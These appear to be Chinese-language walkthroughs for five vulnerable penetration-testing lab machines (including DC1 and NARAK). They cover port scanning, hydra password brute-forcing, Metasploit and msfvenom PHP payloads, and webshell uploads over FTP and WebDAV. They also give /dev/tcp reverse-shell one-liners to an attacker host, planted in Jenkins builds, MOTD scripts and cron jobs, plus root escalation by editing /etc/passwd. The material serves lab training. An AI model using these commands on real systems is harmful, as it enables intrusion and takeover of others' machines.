渗透测试靶机
basic_pentesting_1
¶信息收集
进入msfconsole 利用 nmap 扫描靶机
开启了 20, 21, 80 端口
¶FTP方向
先从 ProFTPD 下手
查找 ProFTPD 相关的漏洞利用和相关的参数配置
设置 rhost, 选择相关 payload
设置 payload 相关系数
运行
¶HTTP方向
再从 80 下手 先进行目录扫描
访问192.168.10.8/secret, 这是一个博客界面, 是有后台的 随便在 dirb 点开一个带 wp-admin 字样的网址就能跳转到登录界面 账号密码都是admin, 登入
成功后回到 msf, 利用已有 payload
set username admin |
检查权限, 发现需要提权
meterpreter 下有个 edit 命令, 类似于 vim /etc/passwd 文件的第二位 x , 是密码占位符, 密码其实是加密存储在 /etc/shadow 下的 可以假设 x 位密码存在, 那么root 就会默认密码为 x 位, 就不会去读取 /etc/shadow. 可以利用edit来进行编辑
利用openssl passwd -1
, 生成密码, 密码明文为admin
输入edit /etc/passwd
进行编辑(不一定每个靶机都行), 将之前生成的密码添加到root后的x位置
提权
shell |
成功提权
Chili
¶信息收集
同样 nmap 把 ip 扫一遍, 开放 21, 80 端口 但是非常遗憾, 没有能直接利用这个 ftp 版本的漏洞, 只能从 80 下手
访问网站翻阅源代码,只有一行引人注目, 大概率是暗示账号是Chili
<meta> name="keywords" content="Chili"> |
¶爆破
在 80 没有登录端 ( dirb 扫描可知) 的情况下, 尝试弱密码爆破 ftp 登录 使用 hydra 九头蛇工具
还是推荐hydra -U http-from
查看具体帮助, 以下是常见命令
参数 | 作用 |
---|---|
-l / -L | 小写指定用户名, 大写指定用户名字典 |
-p / -P | 小写指定密码破解, 大写指定密码字典 |
-C | 使用"登录名;密码"代替 -L / -P 函数 |
字典可以使用 kali 自带的( /usr/share/wordlists/rockyou.txt.gz ), 但是过于大且要先自己解压 还是推荐用自己的字典
gzip -d FileName.gz // 解压, 然后当前目录输入以下代码 |
ftp连接ftp 192.168.10.8
kali中若未安装ftp服务, 可以自行安装: 下载FTP: apt-get install ftp ftp 192.168.10.8
或者: apt-get install vsftpd service vsftpd start 开启服务 service vsftpd status 查看状态 service vsftpd stop 停止服务 service vsftpd restart 重新启动服务
¶反弹 shell
连接成功后到网站根目录下( var/www/html )查看所有文件
cd ../../../../../../../../ |
发现有一个.nano文件夹是可读可写可执行( drwxrwxrwx )的
ftp是没法在这里运行木马的, 既然这是一个网站目录, 就用 php 然后等我们访问触发反弹 shell
msfvenom -p php/meterpreter/reverse_tcp lhost= lport= R>shell.php |
在 ftp 内利用put命令上传 php 木马
put shell.php /var/www/html/.nano/shell.php // 上传 |
在msfconsole使用对应模块如下图所示
use exploit/multi/handler |
然后浏览器访问192.168.10.8/.nano/shell.php, 就可以发现在 msf 上可以执行命令了
¶提权
一样是利用 openssl 生成密码, 然后通过 msf 的 edit 修改 /etc/passwd
DC1
¶信息收集
开放22, 80, 111端口
- 22 开放 openssh 服务, 可能会有 ssh 弱密码爆破
- 80 框架 Drupal 7, 可能会有相对应的漏洞利用
- 111 rpcbind 暂无
¶漏洞利用
msfconsole |
进行参数配置, 运行即可
¶寻找 flag
执行ls, 可以看到当前目录有一个flag1.txt
cat flag1.txt // 查看文件内容 |
暗示我们需要寻找 cms 的配置文件来找到下一个 flag, 利用find命令
find -name set* |
来到此目录, 依次执行
grep -n flag settings.php // 查找文件中 flag 字符出现的位置, 返回5 |
可以得到 mysql 的账号密码, 可以尝试登录
mysql -udbuser -pR0ck3t // 简单登录 |
密码被加密, 搜索Drupal 7的加密方式
在 Drupal 的安装目录的scripts目录中, 有一些开发者备好的 PHP 脚本. 其中一个 password-hash.sh
可以传入然后加密一个字符串, 返回密文, 我们利用这个来进行下一步操作
exit // 退出mysql |
现在回到mysql中修改密码
select uid,name,pass from users; // 仅查看有用的部分 |
浏览器访问和登录就可以找到 flag3,下面是获得的提示, 提示我们查看passwd
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. |
flag4在根目录, 我们前往即可, 以下是获得的提示
Can you use this same method to find or access the flag in root? |
¶提权
flag3 和 flag4 分别给了提示: find 和 exec
find . -exec /bin/sh \; -quit |
¶后记
-
刚刚的用户 flag4 是 ssh 用户名, 我们可以用 hydra 进行爆破
爆破出来后连接进去也是需要 find 提权的, 这里不再赘述
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.8 |
- 可以直接执行 find 查找后缀为 txt 的文件, 直接找到最终 flag 后直接进行提权
find / -name ".txt" |
ubuntu-NARAK
¶信息收集
nmap -A 192.168.10.8 // 没东西 |
基本一无所获, 只有几个类似目录和似乎是一个CSRF漏洞
网页访问, 没找到什么东西 nmap已经帮我们扫出了两个目录, 可以试着访问 /webadv的访问需要密码, 而/image中没有有用的东西
¶账号密码获取
测试后有爆破和目录扫描两种方法可以得到账号密码:
¶爆破
使用 kali 下的字典生成器 cewl 工具爬取该页面存在的字符串, 保存为txt形式
cewl 192.168.10.163 -w pass.txt |
得到这些字符串之后可以使用hydra进行爆破
hydra -L pass.txt -P pass.txt 192.168.10.8 http-get /webdav |
可以得到账号密码: yamdoot Swarg
¶目录扫描
换一个字典进行目录扫描
可以找到 tips.txt, 可以直接访问
hint to open the door of narak can be found in creds.txt |
在得到这个提示之后, 会发现 creds.txt 无法访问
线索无法推进, 返回一开始的信息收集, 尝试其他方案
nmap -sU --top-ports 10 192.168.10.8 // 无结果 |
tftp是一个简单文件传输协议, 用来在客户端和服务端进行文件传输, 它不具备通常的FTP的许多功能, 它只能从文件服务器上获得或写入文件, 不能列出目录 试试能不能用tftp协议, 从靶机服务器把creds.txt下载下来
tftp 192.168.10.8 |
获得了账号和密码
¶登录
回到 webdav
页面, 输入用户名 yamdoot, 密码 Swarg
虽然这里什么都没有, 但是有相应文件上传漏洞
IIS6.0 sever在web服务扩展中开启了WebDAV. WebDAV是在一中HTTP1.1的扩展协议, 它扩展了HTTP1.1, 在GET、POST、HEAD等几个http标准方法以外添加了一些新的方法, 如PUT, 使应用程序可对Web Server直接读写, 并支持写文件锁定及解锁, 可以像在操作本地文件夹一样操作服务器上的文件夹
该扩展也存在缺陷, 利用PUT方法可直接向服务器上传恶意文件, 控制服务器, 导致PUT任意文件上传
此时靶机已经提供了服务端, 我们只需要构造一个客户端就能利用这个漏洞
kali 工具 davtest ,用于测试通过 webdav 可以上传哪些对应文件以及其对应权限 cadaver 是 webdav 客户端, 用来上传木马
davtest -url http://192.168.10.8/webdav -auth yamdoot:Swarg |
没有任何的过滤, 但是只有 php, txt, html 有相应执行权限, 可以利用php的反弹 shell
¶反弹 shell
msf 中的反弹 shell:
msfvenom -p php/meterpreter/reverse_tcp lhost= lport= R>shell.php |
手写反弹 shell 和利用过程:
利用 vim 编写木马 shell.php, 如果用 echo 查看文件会发现部分被编译丢失
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.1/10000 0>&1'"); |
检查之后上传
cat shell.php |
再次访问 webdav
目录, 可以看到上传的 shell.php
此时我们开启nc监听10000端口, 然后访问shell.php, 即可触发反弹shell
nc -lvnp 10000 |
查看用户
cd /home |
查找可写的文件
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null |
依次查看看起来有用的文件, 只有 hell.sh 有用, cat 之后可以得到一串字符, 可能是密码
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++. |
这是一种名为 brainfuck 的编程语言, 简称 bf, 找解码工具即可
¶提权和获取flag
¶ssh
第一个 flag 就在这里, 这里的ssh连接账号密码还可以在虚拟机的界面详情获取 ssh连接, 账户 inferno, 密码 chitragupt, 连接就可以在当前目录下找到txt文件, 里面是flag
ls |
第二个 flag 在 root 目录下 我们现在并非管理员权限, 我们需要提权, sudo -l 查看权限, 一点没有 那就一样搜索具有可写权限的文件
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null |
刚好, motd也是常见的提权方式之一
¶motd提权
MOTD(Message of the Day)是Linux系统登录时显示的一段信息 重点关注00-header, 这是linux在登录时会运行的显示欢迎信息的脚本, 可以发现这个就脚本的所有者和所在组都是root, 且此时inferno用户拥有对该文件的写权限, 因此我们只要在这个文件中添加反弹shell的代码, 当该脚本执行时即可触发反弹shell
使用 vim/ vi 或直接 echo 追加, 添加反弹 shell 代码( 最底部即可 )
echo "bash -c 'bash -i >& /dev/tcp/192.168.10.1/10000 0>&1'" >> 00-header |
然后监听对应端口, 重新 ssh 连接即可连接反弹 shell
然后在 /root 下可以找到 root.txt 文件,获得flag
Root Flag: {9440aee508b6215995219c58c8ba4b45} |
jarbas
¶信息收集
用nmap进行简单扫描
nmap -A 192.168.10.8 |
开放端口: 22, 80, 3306, 8080 服务: ssh, web, mysql, web_Jetty 已知: 8080有一个 robot.txt 泄露
访问可以得到一段话:
#we don't want robots to click "build" links |
没有收获用 dirb 进行目录扫描
dirb http://192.168.10.8 /common.txt |
访问access.html, 可以得到三组类似账号密码的东西 这些字符串经过 md5 加密,可以在解密网站上解密, 结果为
tiago:italia99 |
不知道干什么的就先放一边
访问8080, 发现是个登录界面, 正好上面三组, 拿来试一下 只有 eder 是可以使用的
¶渗透
现在进入了后台, 可以进行木马上传, Jenkins平台相应漏洞可以搜索
新建任务 -> 创建一个自由风格的软件项目 -> 构建 -> Execute shell -> 输入反弹 shell
/bin/bash -i >& /dev/tcp/192.168.10.1/10000 0>&1 |
然后在 kali 监听对应端口
nc -lvnp 10000 |
在网站选择 保存( apply->save ) -> 立刻构建(build now)
¶crontab提权
非管理员, sudo -l 发现没有任何权限, 寻找具有可写权限的文件, 发现了 CleaningScript.sh 此处增加了 usr 是因为出现了大量usr的无关内容
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" -not -path "/usr/*" 2>/dev/null |
似乎只是一个删除网站日志的文件 但这个文件不可能被人多次手动运行, 所以可能会在系统的计划任务之中
crontab是linux设置的一定周期执行一次的指令, 用于指定定时任务. 查看命令如下
cat /etc/crontab |
而我们刚才查看的脚本就在这里面而且是每5分钟执行一次, 所以我们可以通过修改这个文件来以 root 命令执行反弹 shell 获得管理员权限
echo '/bin/bash -i >& /dev/tcp/192.168.10.1/9999 0>&1' >>/etc/script/CleaningScript.sh |
在kali打开端口监听, 然后等待这个脚本被计划任务运行, 进去可以发现一个flag.txt